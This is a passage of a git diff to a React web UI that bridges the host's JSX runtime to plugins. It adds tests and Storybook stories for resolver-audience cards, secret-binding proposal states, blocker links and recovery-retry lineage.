           against deterministic local fixtures. Turn on <code className="rounded bg-muted px-1 py-0.5 text-xs">Smoke Lab</code>{" "}
-          under Instance settings → Experimental to enable it.
+          under Settings → Experimental to enable it.
         </p>
       </div>
     );
diff --git a/ui/src/plugins/bridge-init.ts b/ui/src/plugins/bridge-init.ts
index 81800a041c4..5cccc7769bc 100644
--- a/ui/src/plugins/bridge-init.ts
+++ b/ui/src/plugins/bridge-init.ts
@@ -22,6 +22,7 @@ import {
   usePluginToast,
 } from "./bridge.js";
 import { Component, createElement, useEffect, useMemo, useState, type ComponentType, type ReactNode } from "react";
+import * as ReactJsxRuntimeModule from "react/jsx-runtime";
 import { useMutation, useQuery, useQueryClient } from "@tanstack/react-query";
 import { User } from "lucide-react";
 import {
@@ -72,6 +73,14 @@ import { copyTextToClipboard } from "@/lib/clipboard";
  */
 export interface PluginBridgeRegistry {
   react: unknown;
+  /**
+   * The host's real `react/jsx-runtime` module. Plugin bundles compiled with
+   * the automatic JSX transform must use these `jsx`/`jsxs` implementations:
+   * reconstructing them via `createElement(type, { children })` loses React's
+   * static-children marking, so dev React demands a key on every multi-child
+   * element inside plugin components.
+   */
+  reactJsxRuntime: unknown;
   reactDom: unknown;
   sdkUi: Record<string, unknown>;
 }
@@ -673,6 +682,7 @@ export function initPluginBridge(
 ): void {
   globalThis.__paperclipPluginBridge__ = {
     react,
+    reactJsxRuntime: ReactJsxRuntimeModule,
     reactDom,
     sdkUi: {
       usePluginData,
diff --git a/ui/src/plugins/bridge.test.ts b/ui/src/plugins/bridge.test.ts
index 368a283e3cd..651db57eff4 100644
--- a/ui/src/plugins/bridge.test.ts
+++ b/ui/src/plugins/bridge.test.ts
@@ -1,12 +1,13 @@
 // @vitest-environment jsdom
 import * as React from "react";
 import * as ReactDOM from "react-dom";
+import * as ReactJsxRuntime from "react/jsx-runtime";
 import { flushSync } from "react-dom";
 import { createRoot } from "react-dom/client";
 import type { MouseEvent as ReactMouseEvent } from "react";
 import { renderToStaticMarkup } from "react-dom/server";
 import { MemoryRouter } from "react-router-dom";
-import { afterEach, describe, expect, it } from "vitest";
+import { afterEach, describe, expect, it, vi } from "vitest";
 import {
   FileTree as SdkFileTree,
   ManagedRoutinesList as SdkManagedRoutinesList,
@@ -254,6 +255,7 @@ describe("plugin SDK FileTree bridge", () => {
   it("throws a clear error when the host FileTree implementation is missing", () => {
     globalThis.__paperclipPluginBridge__ = {
       react: React,
+      reactJsxRuntime: ReactJsxRuntime,
       reactDom: ReactDOM,
       sdkUi: {},
     };
@@ -287,6 +289,7 @@ describe("plugin SDK markdown component bridge", () => {
   it("renders plugin-provided markdown components when registered by the host", () => {
     globalThis.__paperclipPluginBridge__ = {
       react: React,
+      reactJsxRuntime: ReactJsxRuntime,
       reactDom: ReactDOM,
       sdkUi: {
         MarkdownBlock: ({ content, enableWikiLinks, wikiLinkRoot }: { content: string; enableWikiLinks?: boolean; wikiLinkRoot?: string }) =>
@@ -333,3 +336,42 @@ describe("plugin React shim", () => {
     expect(source).toContain("export const startTransition = R.startTransition;");
   });
 });
+
+describe("plugin jsx runtime bridge", () => {
+  it("exposes the host jsx runtime on the bridge registry", () => {
+    initPluginBridge(React, ReactDOM);
+
+    const runtime = globalThis.__paperclipPluginBridge__?.reactJsxRuntime as typeof ReactJsxRuntime;
+    expect(runtime.jsx).toBeTypeOf("function");
+    expect(runtime.jsxs).toBeTypeOf("function");
+    expect(runtime.Fragment).toBe(ReactJsxRuntime.Fragment);
+  });
+
+  it("renders unkeyed static children through the bridged runtime without key warnings", () => {
+    initPluginBridge(React, ReactDOM);
+    const runtime = globalThis.__paperclipPluginBridge__?.reactJsxRuntime as typeof ReactJsxRuntime;
+
+    // Mirror what a compiled plugin bundle emits for static multi-child JSX:
+    // jsxs() with an unkeyed children array. The previous shim rebuilt this
+    // via createElement(type, { children }), which made dev React demand a
+    // key on every static child (LOOA-1547 Panel/ProjectKnowledgeTab noise).
+    const warnings: string[] = [];
+    const spy = vi.spyOn(console, "error").mockImplementation((...args: unknown[]) => {
+      warnings.push(args.map(String).join(" "));
+    });
+    try {
+      renderToStaticMarkup(
+        runtime.jsxs("section", {
+          children: [
+            runtime.jsx("header", { children: "static child one" }),
+            runtime.jsx("div", { children: "static child two" }),
+          ],
+        }) as React.ReactElement,
+      );
+    } finally {
+      spy.mockRestore();
+    }
+
+    expect(warnings.filter((message) => message.includes("key"))).toEqual([]);
+  });
+});
diff --git a/ui/src/plugins/slots.tsx b/ui/src/plugins/slots.tsx
index d93455a883e..f5bf01866d2 100644
--- a/ui/src/plugins/slots.tsx
+++ b/ui/src/plugins/slots.tsx
@@ -311,12 +311,19 @@ function getShimBlobUrl(specifier: "react" | "react-dom" | "react-dom/client" |
       source = createReactShimSource(ReactModule);
       break;
     case "react/jsx-runtime":
+      // Prefer the host's real jsx runtime: rebuilding jsx/jsxs on top of
+      // createElement(type, { children }) drops React's static-children
+      // marking, so dev React emits "unique key" warnings for every
+      // multi-child element rendered by a plugin component.
       source = `
-        const R = globalThis.__paperclipPluginBridge__?.react;
+        const BRIDGE = globalThis.__paperclipPluginBridge__;
+        const RUNTIME = BRIDGE?.reactJsxRuntime;
+        const R = BRIDGE?.react;
         const withKey = ${applyJsxRuntimeKey.toString()};
-        export const jsx = (type, props, key) => R.createElement(type, withKey(props, key));
-        export const jsxs = (type, props, key) => R.createElement(type, withKey(props, key));
-        export const Fragment = R.Fragment;
+        const fallbackJsx = (type, props, key) => R.createElement(type, withKey(props, key));
+        export const jsx = RUNTIME?.jsx ?? fallbackJsx;
+        export const jsxs = RUNTIME?.jsxs ?? fallbackJsx;
+        export const Fragment = RUNTIME?.Fragment ?? R.Fragment;
       `;
       break;
     case "react-dom":
diff --git a/ui/storybook/.storybook/main.ts b/ui/storybook/.storybook/main.ts
index af2dcbd2b94..0192e086587 100644
--- a/ui/storybook/.storybook/main.ts
+++ b/ui/storybook/.storybook/main.ts
@@ -20,7 +20,14 @@ const config: StorybookConfig = {
   viteFinal: async (baseConfig) =>
     mergeConfig(baseConfig, {
       plugins: [tailwindcss()],
+      optimizeDeps: { include: ["motion/react", "react", "react-dom"] },
       resolve: {
+        // Storybook's core and the react-vite builder each resolve their own
+        // React under pnpm's strict tree. Any component that calls a hook from
+        // a third-party package — `motion`'s useReducedMotion, in the agent
+        // capsule — then gets a second copy and fails with "Invalid hook call".
+        // The app's own dev server hoists one React and never hit this.
+        dedupe: ["react", "react-dom"],
         alias: {
           "@": path.resolve(storybookConfigDir, "../../src"),
           lexical: path.resolve(storybookConfigDir, "../../node_modules/lexical/dist/Lexical.mjs"),
diff --git a/ui/storybook/stories/decisions-desk.stories.tsx b/ui/storybook/stories/decisions-desk.stories.tsx
index acda7327866..a2faf41e8f2 100644
--- a/ui/storybook/stories/decisions-desk.stories.tsx
+++ b/ui/storybook/stories/decisions-desk.stories.tsx
@@ -386,6 +386,63 @@ function PrimeDeskFixtures({
   return <>{children}</>;
 }
 
+/** Interaction-shaped item carrying the server's effective resolver audience. */
+function interactionRow(
+  id: string,
+  title: string,
+  audience: AttentionItem["resolverAudience"],
+): AttentionItem {
+  return item(id, "issue_thread_interaction", "medium", title, "Confirmation requested on an issue thread.", {
+    inlineResolvable: true,
+    subject: {
+      kind: "interaction",
+      id,
+      companyId,
+      title,
+      identifier: null,
+      status: "pending",
+      href: `/PAP/issues/PAP-1000#interaction-${id}`,
+      metadata: { kind: "request_confirmation", issueId: "issue-1000" },
+    },
+    decisionVerbs: [
+      { id: "accept", label: "Accept", description: null },
+      { id: "reject", label: "Reject", description: null },
+    ],
+    resolverAudience: audience,
+  });
+}
+
+const OPEN_AUDIENCE = {
+  requestedResolverPolicy: "anyone",
+  effectiveResolverPolicy: "anyone",
+  effectiveResolverPolicySource: "requested",
+  resolverPolicyProvenance: "inherited",
+  addresseeAgentId: null,
+  addresseeName: null,
+  createdByAgentId: "agent-coder",
+  createdByAgentName: "ClaudeCoder",
+} as const;
+
+const INTERACTION_AUDIENCE_ITEMS: AttentionItem[] = [
+  interactionRow("interaction-open", "Close the stale watchdog confirmation?", { ...OPEN_AUDIENCE }),
+  interactionRow("interaction-addressed", "Confirm the migration renumber", {
+    ...OPEN_AUDIENCE,
+    addresseeAgentId: "agent-qa",
+    addresseeName: "QA",
+  }),
+  interactionRow("interaction-capped", "Approve the destructive cleanup", {
+    ...OPEN_AUDIENCE,
+    effectiveResolverPolicy: "human_only",
+    effectiveResolverPolicySource: "company_cap",
+  }),
+  interactionRow("interaction-legacy", "Confirm the pre-migration rollout", {
+    ...OPEN_AUDIENCE,
+    requestedResolverPolicy: "not_creator",
+    effectiveResolverPolicy: "not_creator",
+    resolverPolicyProvenance: "legacy_inherited_restriction",
+  }),
+];
+
 const meta: Meta = {
   title: "Pages/Decisions Desk",
   parameters: { layout: "fullscreen" },
@@ -482,6 +539,33 @@ export const QueuePage: Story = {
   ),
 };
 
+/**
+ * Collapsed interaction rows, one per resolver audience (PAP-17287). Each row
+ * states who the *server* will let respond before its compact Accept/Reject —
+ * open default, a named addressee, a company cap to human-only, and a
+ * pre-migration card that stays creator-excluded. Check at 1440×900 and 390×844:
+ * the audience must stay legible above the verbs at both widths.
+ */
+export const CollapsedInteractionAudience: Story = {
+  render: () => (
+    <PrimeDeskFixtures>
+      <div className="max-w-3xl space-y-2 p-6">
+        {INTERACTION_AUDIENCE_ITEMS.map((row) => (
+          <AttentionQueueRow
+            key={row.id}
+            item={row}
+            companyId={companyId}
+            agents={AGENTS}
+            expanded={false}
+            onToggleExpand={() => {}}
+            onDismiss={() => {}}
+          />
+        ))}
+      </div>
+    </PrimeDeskFixtures>
+  ),
+};
+
 /**
  * Screen 3 — the per-card triage strip. A single card, expanded, showing the
  * decide-by control (with "set by Prioritizer"), queue chips + picker, snooze
diff --git a/ui/storybook/stories/issue-blocked-notice.stories.tsx b/ui/storybook/stories/issue-blocked-notice.stories.tsx
index 54b51202418..a84bed3544a 100644
--- a/ui/storybook/stories/issue-blocked-notice.stories.tsx
+++ b/ui/storybook/stories/issue-blocked-notice.stories.tsx
@@ -1,6 +1,11 @@
 import type { Meta, StoryObj } from "@storybook/react-vite";
 import type { IssueRelationIssueSummary } from "@paperclipai/shared";
 import { IssueBlockedNotice } from "@/components/IssueBlockedNotice";
+import {
+  resolveTaskChatLiveWork,
+  TaskChatBlockerLinks,
+  TaskChatLiveWorkLinks,
+} from "@/components/task-chat/TaskChatBlockerLinks";
 
 // Rule C (PAP-13554): when a human comment on a `blocked` issue does not reopen
 // it, the blocked notice must state why and name the unresolved blocker leaf.
@@ -98,6 +103,61 @@ export const RuleCChainNamesLeaf: Story = {
   ),
 };
 
+export const TaskChatCompactRows: Story = {
+  name: "Task chat · compact direct and ultimate blocker rows",
+  render: () => (
+    <Frame label="Task chat · lightweight blocker links">
+      <TaskChatBlockerLinks
+        placement="top"
+        directBlocker={blocker({
+          id: "b1",
+          identifier: "PAP-600",
+          title: "Waiting in review",
+          status: "in_review",
+        })}
+        ultimateBlocker={blocker({
+          id: "t1",
+          identifier: "PAP-777",
+          title: "Actual work",
+          status: "in_progress",
+          assigneeAgentId: "agent-2",
+        })}
+      />
+    </Frame>
+  ),
+};
+
+export const TaskChatLiveWorkRows: Story = {
+  name: "Task chat · ordered live-work rows",
+  render: () => {
+    const terminal = blocker({
+      id: "t1",
+      identifier: "PAP-603",
+      title: "Restore the live projection",
+      status: "in_progress",
+      assigneeAgentId: "agent-3",
+    });
+    const liveWork = resolveTaskChatLiveWork([
+      blocker({ id: "b1", identifier: "PAP-601", title: "Run the guarded cutover", status: "done" }),
+      blocker({
+        id: "b2",
+        identifier: "PAP-602",
+        title: "Verify the live projection",
+        status: "in_progress",
+        assigneeAgentId: "agent-2",
+        terminalBlockers: [terminal],
+      }),
+      blocker({ id: "b3", identifier: "PAP-604", title: "Complete final QA", status: "todo" }),
+    ], new Set(["b2", "t1"]), terminal);
+
+    return (
+      <Frame label="Task chat · compact ordered live-work links">
+        {liveWork ? <TaskChatLiveWorkLinks placement="top" liveWork={liveWork} /> : null}
+      </Frame>
+    );
+  },
+};
+
 export const RuleCMultipleBlockers: Story = {
   name: "Rule C · several unresolved blockers",
   render: () => (
diff --git a/ui/storybook/stories/issue-thread-interactions.stories.tsx b/ui/storybook/stories/issue-thread-interactions.stories.tsx
index f97d4af49a0..428e2dd1c1a 100644
--- a/ui/storybook/stories/issue-thread-interactions.stories.tsx
+++ b/ui/storybook/stories/issue-thread-interactions.stories.tsx
@@ -16,7 +16,17 @@ import {
   expiredToolActionInteraction,
   failedRequestConfirmationInteraction,
   failedToolActionInteraction,
+  pendingSecretProposalInteraction,
+  executedSecretProposalInteraction,
+  failedSecretProposalInteraction,
+  rejectedSecretProposalInteraction,
+  expiredSecretProposalInteraction,
   genericPendingRequestConfirmationInteraction,
+  agentAddressedRequestConfirmationInteraction,
+  companyCappedRequestConfirmationInteraction,
+  humanOnlyRequestConfirmationInteraction,
+  legacyRestrictedRequestConfirmationInteraction,
+  notCreatorRequestConfirmationInteraction,
   pendingToolActionDestructiveInteraction,
   pendingToolActionWriteInteraction,
   runningToolActionInteraction,
@@ -113,6 +123,19 @@ function ScenarioCard({
   );
 }
 
+function AudienceCard({ interaction }: { interaction: RequestConfirmationInteraction }) {
+  return (
+    <IssueThreadInteractionCard
+      interaction={interaction}
+      agentMap={storybookAgentMap}
+      currentUserId={issueThreadInteractionFixtureMeta.currentUserId}
+      userLabelMap={boardUserLabels}
+      onAcceptInteraction={() => undefined}
+      onRejectInteraction={() => undefined}
+    />
+  );
+}
+
 function InteractiveSuggestedTasksCard() {
   const [interaction, setInteraction] = useState<SuggestTasksInteraction>(
     pendingSuggestedTasksInteraction,
@@ -784,6 +807,168 @@ export const ToolActionLegacyGeneric: Story = {
   ),
 };
 
+function SecretProposalCard({
+  interaction,
+  interactive = false,
+}: {
+  interaction: RequestConfirmationInteraction;
+  interactive?: boolean;
+}) {
+  return (
+    <IssueThreadInteractionCard
+      interaction={interaction}
+      agentMap={storybookAgentMap}
+      currentUserId={issueThreadInteractionFixtureMeta.currentUserId}
+      userLabelMap={boardUserLabels}
+      onAcceptInteraction={interactive ? () => undefined : undefined}
+      onRejectInteraction={interactive ? () => undefined : undefined}
+    />
+  );
+}
+
+export const SecretProposalPending: Story = {
+  render: () => (
+    <StoryFrame>
+      <ScenarioCard
+        title="Pending secret binding"
+        description="A human reviews safe binding metadata, the agent-authored reason, and expiry before approving the real write."
+      >
+        <SecretProposalCard interaction={pendingSecretProposalInteraction} interactive />
+      </ScenarioCard>
+    </StoryFrame>
+  ),
+};
+
+export const SecretProposalExecuted: Story = {
+  render: () => (
+    <StoryFrame>
+      <ScenarioCard
+        title="Secret binding executed"
+        description="Acceptance is only shown as successful after the existing proposal transaction creates the binding."
+      >
+        <SecretProposalCard interaction={executedSecretProposalInteraction} />
+      </ScenarioCard>
+    </StoryFrame>
+  ),
+};
+
+export const SecretProposalFailed: Story = {
+  render: () => (
+    <StoryFrame>
+      <ScenarioCard
+        title="Secret binding failed"
+        description="An accepted request that fails execution is unmistakably FAILED and exposes the safe error code."
+      >
+        <SecretProposalCard interaction={failedSecretProposalInteraction} />
+      </ScenarioCard>
+    </StoryFrame>
+  ),
+};
+
+export const SecretProposalRejected: Story = {
+  render: () => (
+    <StoryFrame>
+      <ScenarioCard
+        title="Secret binding rejected"
+        description="The rejection reason remains in the thread and the card states that no binding was created."
+      >
+        <SecretProposalCard interaction={rejectedSecretProposalInteraction} />
+      </ScenarioCard>
+    </StoryFrame>
+  ),
+};
+
+export const SecretProposalExpired: Story = {
+  render: () => (
+    <StoryFrame>
+      <ScenarioCard
+        title="Secret binding expired"
+        description="Expired proposals are neutral, non-actionable receipts that require a fresh proposal."
+      >
+        <SecretProposalCard interaction={expiredSecretProposalInteraction} />
+      </ScenarioCard>
+    </StoryFrame>
+  ),
+};
+
+export const SecretProposalAllStates: Story = {
+  render: () => (
+    <StoryFrame>
+      <Section eyebrow="Secret binding proposal" title="All lifecycle states">
+        <div className="grid gap-6 xl:grid-cols-2">
+          <ScenarioCard title="1 · Pending" description="Safe metadata and approval actions.">
+            <SecretProposalCard interaction={pendingSecretProposalInteraction} interactive />
+          </ScenarioCard>
+          <ScenarioCard title="2 · Executed" description="The binding was created.">
+            <SecretProposalCard interaction={executedSecretProposalInteraction} />
+          </ScenarioCard>
+          <ScenarioCard title="3 · FAILED" description="Accepted, then failed closed.">
+            <SecretProposalCard interaction={failedSecretProposalInteraction} />
+          </ScenarioCard>
+          <ScenarioCard title="4 · Rejected" description="The binding was not created.">
+            <SecretProposalCard interaction={rejectedSecretProposalInteraction} />
+          </ScenarioCard>
+          <ScenarioCard title="5 · Expired" description="A fresh proposal is required.">
+            <SecretProposalCard interaction={expiredSecretProposalInteraction} />
+          </ScenarioCard>
+        </div>
+      </Section>
+    </StoryFrame>
+  ),
+};
+
+/**
+ * PAP-17280: the audience row every pending card now carries. `Anyone` is the
+ * default a requester gets by omitting `resolverPolicy`; the rest are the
+ * narrowings a requester, a company cap, or a governed action asks for.
+ */
+export const ResolverAudienceStates: Story = {
+  render: () => (
+    <StoryFrame>
+      <Section eyebrow="Resolver audience" title="Who can respond (PAP-17280)">
+        <div className="grid gap-6 xl:grid-cols-2">
+          <ScenarioCard
+            title="Default · Anyone"
+            description="No resolverPolicy was requested, so the card is open company attention — the board or any agent, including the one that asked."
+          >
+            <AudienceCard interaction={pendingRequestConfirmationInteraction} />
+          </ScenarioCard>
+          <ScenarioCard
+            title="Anyone except creator"
+            description="Requested on purpose when the answer has to be independent of the agent that asked."
+          >
+            <AudienceCard interaction={notCreatorRequestConfirmationInteraction} />
+          </ScenarioCard>
+          <ScenarioCard
+            title="Human only"
+            description="Reserved for a person: agents are turned away by the server, and the copy says so."
+          >
+            <AudienceCard interaction={humanOnlyRequestConfirmationInteraction} />
+          </ScenarioCard>
+          <ScenarioCard
+            title="Named addressee"
+            description="One agent owns the response; the card stays out of the open attention feed."
+          >
+            <AudienceCard interaction={agentAddressedRequestConfirmationInteraction} />
+          </ScenarioCard>
+          <ScenarioCard
+            title="Narrowed by a company cap"
+            description="The request asked for Anyone; company interaction governance capped the kind, and the card explains the narrowing."
+          >
+            <AudienceCard interaction={companyCappedRequestConfirmationInteraction} />
+          </ScenarioCard>
+          <ScenarioCard
+            title="Legacy restricted card"
+            description="Created before Anyone became the default. Migration keeps it restricted fail-closed and the card says a new card would be open."
+          >
+            <AudienceCard interaction={legacyRestrictedRequestConfirmationInteraction} />
+          </ScenarioCard>
+        </div>
+      </Section>
+    </StoryFrame>
+  ),
+};
+
 export const ToolActionAllStates: Story = {
   render: () => (
     <StoryFrame>
diff --git a/ui/storybook/stories/onboarding-agent-arc.stories.tsx b/ui/storybook/stories/onboarding-agent-arc.stories.tsx
new file mode 100644
index 00000000000..710827d1a80
--- /dev/null
+++ b/ui/storybook/stories/onboarding-agent-arc.stories.tsx
@@ -0,0 +1,64 @@
+import type { Meta, StoryObj } from "@storybook/react-vite";
+import { AgentCapsule } from "@/components/AgentCapsule";
+import { Stepper } from "@/components/onboarding/Stepper";
+
+/**
+ * The onboarding wizard's agent arc: create the agent, connect it, review.
+ * These are the three steps a customer walks inside the tenant — company
+ * creation happens in Cloud before they arrive, which is why the strip counts
+ * to three rather than to the wizard's own step numbers.
+ */
+const meta = {
+  title: "Onboarding/Agent arc",
+  parameters: { layout: "centered" },
+} satisfies Meta;
+
+export default meta;
+
+export const ProgressStrip: StoryObj = {
+  render: () => (
+    <div className="w-[420px] space-y-10">
+      {[1, 2, 3].map((step) => (
+        <Stepper key={step} step={step} />
+      ))}
+    </div>
+  ),
+};
+
+/**
+ * The capsule's three states, which the wizard holds in one tree slot so the
+ * morph reads as a single object coming to life rather than three renders.
+ */
+export const CapsuleStates: StoryObj = {
+  render: () => (
+    <div className="flex items-center gap-12">
+      {(["slot", "configured", "online"] as const).map((state) => (
+        <div key={state} className="flex flex-col items-center gap-3">
+          <AgentCapsule state={state} gradient={5} glow="blue" size="md" strokeDraw />
+          <span className="text-(length:--text-micro) uppercase tracking-widest text-muted-foreground">
+            {state}
+          </span>
+        </div>
+      ))}
+    </div>
+  ),
+};
+
+/**
+ * The same three states rendered with the default cross-fade, for comparison
+ * with the traced outline above.
+ */
+export const CapsuleStatesCrossfade: StoryObj = {
+  render: () => (
+    <div className="flex items-center gap-12">
+      {(["slot", "configured", "online"] as const).map((state) => (
+        <div key={state} className="flex flex-col items-center gap-3">
+          <AgentCapsule state={state} gradient={5} glow="blue" size="md" />
+          <span className="text-(length:--text-micro) uppercase tracking-widest text-muted-foreground">
+            {state}
+          </span>
+        </div>
+      ))}
+    </div>
+  ),
+};
diff --git a/ui/storybook/stories/source-issue-recovery.stories.tsx b/ui/storybook/stories/source-issue-recovery.stories.tsx
index de29f1f11e9..6687556f838 100644
--- a/ui/storybook/stories/source-issue-recovery.stories.tsx
+++ b/ui/storybook/stories/source-issue-recovery.stories.tsx
@@ -9,6 +9,12 @@ import { storybookAgentMap, storybookAgents, createIssue } from "../fixtures/pap
 
 const claudeAgent = storybookAgents.find((agent) => agent.name.toLowerCase().startsWith("claude")) ?? storybookAgents[0]!;
 const codexAgent = storybookAgents.find((agent) => agent.name.toLowerCase().startsWith("codex")) ?? storybookAgents[0]!;
+// The recovery lane must be shown by an agent that is genuinely not the source owner,
+// otherwise the "separate roles" story cannot demonstrate anything.
+const managerAgent =
+  storybookAgents.find((agent) => agent.name.toLowerCase() === "cto") ??
+  storybookAgents.find((agent) => agent.id !== codexAgent.id) ??
+  codexAgent;
 
 function StoryFrame({ title, description, children }: { title: string; description?: string; children: ReactNode }) {
   return (
@@ -190,6 +196,159 @@ function AllStatesPanel() {
   );
 }
 
+/**
+ * Owner-sticky repair lineage (PAP-17484). One recovery-action row moves through three
+ * budgets — the original owner retrying itself, a manager repairing the path, then the
+ * board — and the source owner never changes.
+ */
+function inMinutes(minutes: number) {
+  return new Date(Date.now() + minutes * 60_000).toISOString();
+}
+
+function buildSourceLaneAction(overrides: Partial<IssueRecoveryAction> = {}) {
+  return buildAction({
+    kind: "deliberate_wait_without_target",
+    cause: "deliberate_wait_without_target",
+    ownerAgentId: codexAgent.id,
+    previousOwnerAgentId: codexAgent.id,
+    returnOwnerAgentId: codexAgent.id,
+    fingerprint: "disposition_repair:v1:9f2c",
+    evidence: {
+      summary: "The run parked on a review wait, but no reviewer, approval, or monitor exists.",
+      sourceRunId: "7accd7a4-c9ca-4db2-9233-3228a037cc09",
+    },
+    nextAction:
+      "The original owner must replace the parked summary with a terminal, live, blocked, monitored, or typed waiting disposition.",
+    wakePolicy: {
+      type: "bounded_owner_disposition_repair",
+      retryAgentId: codexAgent.id,
+      attempt: 2,
+      maxAttempts: 5,
+      baseBackoffMs: 60_000,
+      jitterMs: 4_200,
+      retryAt: inMinutes(3),
+      scheduledRunId: "2606404d-3859-4142-ba37-3228a037cc09",
+    },
+    attemptCount: 2,
+    maxAttempts: 5,
+    timeoutAt: inMinutes(3),
+    ...overrides,
+  });
+}
+
+function buildRecoveryLaneAction(overrides: Partial<IssueRecoveryAction> = {}) {
+  return buildSourceLaneAction({
+    ownerAgentId: managerAgent.id,
+    nextAction:
+      "Repair the source issue disposition or request an explicit reassignment decision without taking source ownership.",
+    evidence: {
+      summary: "Five original-owner repair attempts finished without a durable source change.",
+      sourceAttemptCount: 5,
+      sourceMaxAttempts: 5,
+      terminalReason: "disposition_repair_attempts_exhausted",
+    },
+    wakePolicy: {
+      type: "bounded_recovery_owner",
+      ownerAgentId: managerAgent.id,
+      attempt: 1,
+      maxAttempts: 3,
+      retryAt: inMinutes(1),
+      scheduledRunId: "9c1c5f5a-2e0b-4d1a-9d6f-3228a037cc09",
+      preservesSourceAssignee: true,
+    },
+    attemptCount: 1,
+    maxAttempts: 3,
+    timeoutAt: inMinutes(1),
+    ...overrides,
+  });
+}
+
+function RetryLineagePanel() {
+  return (
+    <div className="grid gap-5 lg:grid-cols-1">
+      <CardPanel
+        caption="Lane 1 · Original owner retrying itself — quiet, no action needed"
+        action={buildSourceLaneAction()}
+      />
+      <CardPanel
+        caption="Lane 1 (exhausted) · Every automatic attempt is spent — strong warning"
+        action={buildSourceLaneAction({
+          attemptCount: 5,
+          wakePolicy: {
+            type: "bounded_owner_disposition_repair",
+            retryAgentId: codexAgent.id,
+            attempt: 5,
+            maxAttempts: 5,
+            retryAt: inMinutes(-2),
+          },
+        })}
+        canFalsePositive
+      />
+      <CardPanel
+        caption="Lane 2 · Manager repairs the path only — the original owner keeps the task"
+        action={buildRecoveryLaneAction()}
+      />
+      <CardPanel
+        caption="Lane 3 · Board escalation — still not a change of task ownership"
+        action={buildRecoveryLaneAction({
+          status: "escalated",
+          ownerType: "board",
+          ownerAgentId: null,
+          attemptCount: 3,
+          maxAttempts: 3,
+          timeoutAt: null,
+          wakePolicy: {
+            type: "board_escalation",
+            reason: "recovery_owner_retry_exhausted",
+            attempt: 3,
+            maxAttempts: 3,
+            preservesSourceAssignee: true,
+          },
+        })}
+        canFalsePositive
+      />
+      <section className="space-y-2">
+        <div className="text-[11px] font-semibold uppercase tracking-[0.16em] text-muted-foreground">
+          Parent blocker chips · same actions, same liveness state
+        </div>
+        <IssueBlockedNotice
+          issueStatus="blocked"
+          blockers={[
+            buildBlocker({
+              id: "lineage-1",
+              identifier: "PAP-17417",
+              title: "Original owner is being retried",
+              activeRecoveryAction: buildSourceLaneAction(),
+            }),
+            buildBlocker({
+              id: "lineage-2",
+              identifier: "PAP-17418",
+              title: "Automatic repair exhausted",
+              status: "blocked",
+              activeRecoveryAction: buildSourceLaneAction({
+                attemptCount: 5,
+                wakePolicy: {
+                  type: "bounded_owner_disposition_repair",
+                  retryAgentId: codexAgent.id,
+                  attempt: 5,
+                  maxAttempts: 5,
+                  retryAt: inMinutes(-2),
+                },
+              }),
+            }),
+            buildBlocker({
+              id: "lineage-3",
+              identifier: "PAP-17399",
+              title: "Manager is repairing the path",
+              activeRecoveryAction: buildRecoveryLaneAction(),
+            }),
+          ]}
+        />
+      </section>
+    </div>
+  );
+}
+
 function buildBlocker(
   overrides: Partial<IssueRelationIssueSummary> = {},
 ): IssueRelationIssueSummary {
@@ -435,6 +594,17 @@ export const RecoveryActionCardStates: Story = {
   ),
 };
 
+export const OwnerStickyRetryLineage: Story = {
+  render: () => (
+    <StoryFrame
+      title="Owner-sticky repair lineage"
+      description="A stored retry keeps the card quiet; the strong warning is reserved for an exhausted or missing path. The task owner and the recovery owner are always shown as separate roles, and parent blocker chips report the same liveness state as the source card."
+    >
+      <RetryLineagePanel />
+    </StoryFrame>
+  ),
+};
+
 export const InboxRowChips: Story = {
   render: () => (
     <StoryFrame
diff --git a/ui/storybook/stories/successful-run-handoff.stories.tsx b/ui/storybook/stories/successful-run-handoff.stories.tsx
index 77b188cd7e7..18085a7dee4 100644
--- a/ui/storybook/stories/successful-run-handoff.stories.tsx
+++ b/ui/storybook/stories/successful-run-handoff.stories.tsx
@@ -33,13 +33,14 @@ function ActivityExample({ action }: { action: string }) {
 function SuccessfulRunHandoffStates() {
   return (
     <StoryFrame>
+      <HandoffLivenessComparisonPanel />
+
       <section className="grid gap-4 lg:grid-cols-[1.15fr_0.85fr]">
-        <PinnedNoticePanel />
         <ActivityEventsPanel />
+        <IssueCardPanel />
       </section>
 
-      <section className="grid gap-4 lg:grid-cols-[0.9fr_1.1fr]">
-        <IssueCardPanel />
+      <section className="grid gap-4">
         <EscalationCommentPanel />
       </section>
     </StoryFrame>
@@ -68,6 +69,25 @@ function handoffIssue() {
   });
 }
 
+/**
+ * Same outstanding handoff as {@link handoffIssue}, but a correction run is
+ * live on the issue — the state that must NOT raise the amber alarm.
+ */
+function handoffIssueInFlight() {
+  const issue = handoffIssue();
+  return createIssue({
+    ...issue,
+    id: "issue-handoff-live",
+    identifier: "PAP-3055",
+    issueNumber: 3055,
+    successfulRunHandoff: {
+      ...issue.successfulRunHandoff!,
+      hasLiveContinuation: true,
+      liveRunId: "61fdb79b-8012-4676-ac71-2971830e126a",
+    },
+  });
+}
+
 function StoryFrame({ children, title = "Board-visible handoff states" }: { children: ReactNode; title?: string }) {
   return (
     <main className="min-h-screen bg-background p-4 text-foreground sm:p-8">
@@ -97,6 +117,33 @@ function PinnedNoticePanel() {
   );
 }
 
+function InFlightNoticePanel() {
+  const issue = handoffIssueInFlight();
+  return (
+    <div className="rounded-lg border border-border bg-card p-4">
+      <div className="mb-3 text-sm font-medium text-muted-foreground">
+        A2. Calm in-flight notice (live continuation)
+      </div>
+      <IssueBlockedNotice
+        issueStatus="in_progress"
+        blockers={[]}
+        successfulRunHandoff={issue.successfulRunHandoff}
+        agentName="CodexCoder"
+      />
+    </div>
+  );
+}
+
+/** The two states side by side — the contrast is the point. */
+function HandoffLivenessComparisonPanel() {
+  return (
+    <section className="grid gap-4 lg:grid-cols-2">
+      <PinnedNoticePanel />
+      <InFlightNoticePanel />
+    </section>
+  );
+}
+
 function ActivityEventsPanel() {
   return (
     <div className="rounded-lg border border-border bg-card p-4">
@@ -166,6 +213,18 @@ function SuccessfulRunHandoffPinnedNotice() {
   return <StoryFrame title="Pinned needs-next-step notice"><PinnedNoticePanel /></StoryFrame>;
 }
 
+function SuccessfulRunHandoffInFlightNoticeStory() {
+  return <StoryFrame title="Calm in-flight notice"><InFlightNoticePanel /></StoryFrame>;
+}
+
+function SuccessfulRunHandoffLivenessComparison() {
+  return (
+    <StoryFrame title="Alarm vs calm in-flight">
+      <HandoffLivenessComparisonPanel />
+    </StoryFrame>
+  );
+}
+
 function SuccessfulRunHandoffActivityEvents() {
   return <StoryFrame title="Activity stream events"><ActivityEventsPanel /></StoryFrame>;
 }
